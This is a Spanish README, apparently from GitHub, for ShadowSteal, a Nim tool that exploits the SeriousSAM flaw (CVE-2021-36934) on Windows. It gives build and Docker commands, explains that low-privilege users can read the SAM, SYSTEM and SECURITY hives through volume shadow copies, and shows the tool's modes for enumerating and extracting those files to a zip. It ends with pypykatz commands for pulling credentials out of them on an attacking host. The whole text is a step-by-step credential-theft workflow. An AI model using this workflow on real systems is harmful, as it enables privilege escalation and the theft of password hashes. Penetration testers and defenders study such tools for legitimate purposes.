
Implementación pura en Nim para explotar CVE-2021-36934, la escalada de privilegios local SeriousSAM.
Implementación en Nim puro para explotar CVE-2021-36934, la escalada de privilegios local (LPE) SeriousSAM. No es seguro para OPSEC... todavía ;). No reclamo crédito por el descubrimiento de este exploit.
Empezar con ShadowSteal ahora es más fácil que nunca gracias a Docker! ¿No quieres lidiar con la instalación de dependencias de Nim? ¡Te cubro, colega! Ejecuta el script de Python para crear el entorno de compilación Docker, compila el binario, transfiérelo de vuelta a tu host y luego elimina el contenedor.
Instala Docker en tu host (consulta la documentación para saber cómo instalarlo en diferentes sistemas operativos) y luego ejecuta el script de Python de ShadowSteal en el directorio principal:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
O bien, compila desde el código fuente instalando Nim y sus dependencias:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
Instala la cadena de herramientas MinGW si aún no está instalada.
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
Transfiere al objetivo...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
Debido a un descuido de Microsoft, los usuarios normales tienen permisos de lectura sobre el contenido de la carpeta ...\System32\config\ en versiones recientes de Windows. Entre otras cosas, esto significa que un usuario de bajo nivel tiene acceso de lectura a los archivos SAM, System y Security en ...\System32\config.

Uf. Entonces, ¿qué podemos hacer con esto?
Algunos investigadores muy observadores (¡un saludo a @jonasLyk!) notaron que si un host Windows ha estado usando una configuración específica de restauración del sistema, "Volume Shadow Copies", entonces el host almacena copias de respaldo de estos archivos que son accesibles a través del espacio de nombres de dispositivos Win32 para estas copias.


El SAM normalmente está bloqueado durante el funcionamiento del host, por lo que acceder al SAM en ...\System32\config\ es imposible. Pero estas copias de sombra de volumen son un objetivo legítimo para cualquier usuario del host debido a esta mala configuración. ¡Muy bien!
ShadowSteal es un binario escrito en Nim para automatizar la enumeración y exfiltración de los archivos SAM, System y Security desde estas copias de sombra. Itera a través de las posibles ubicaciones de las copias de sombra y, cuando encuentra un objetivo, extrae los archivos a un directorio comprimido (piensa en la salida de Bloodhound).


No es nada revolucionario y el código es un poco chapucero, pero funciona y fue divertido de construir.
Instala Nim:
$ sudo apt-get install nim
Instala las dependencias:
$ nimble install zippy argparse winim
Instala la cadena de herramientas MinGW si aún no está instalada:
$ sudo apt-get install mingw-w64
Compila para Windows de 64 bits:
$ make
Transfiere al objetivo y ¡ejecútalo!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
Limita la fuerza bruta de ubicaciones a 10 a 1, disminuyendo con cada intento. Rápido y efectivo en la mayoría de los entornos.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
Busca todas las ubicaciones posibles (512), disminuyendo hasta 1. Prueba esto para enumerar minuciosamente el entorno. Tarda unos minutos.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
Transfiere el directorio de salida de vuelta a tu host atacante y extrae los datos con Pypykatz. Para instalarlo:
$ pip3 install pypykatz
Para ejecutar Pypykatz:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

Ahora incluye un entorno de compilación Docker preempaquetado y fácil! Solo ejecuta el script ShadowSteal.py para configurar el entorno Docker, compilar el binario, transferirlo de vuelta a tu host y eliminar los contenedores de compilación. ¡Simplemente funciona! (Requiere cierto ensamblaje, es decir, necesitas Docker para ejecutarlo).
Ajustado y eficaz. Se añadieron opciones de compilación optimizadas. Gran aumento de rendimiento gracias a la optimización del compilador; el bruteforce completo ahora ocurre casi al instante. Muchas gracias a @orbitalgun por el pseudo PR, ¡gloria a tu casa y a tu nombre!
Entren, muchachos, este desastre está en marcha. Este lanzamiento fue mi prototipo rápido y fue bastante terrible jaja. ¡Pero fue muy divertido de construir! Características:
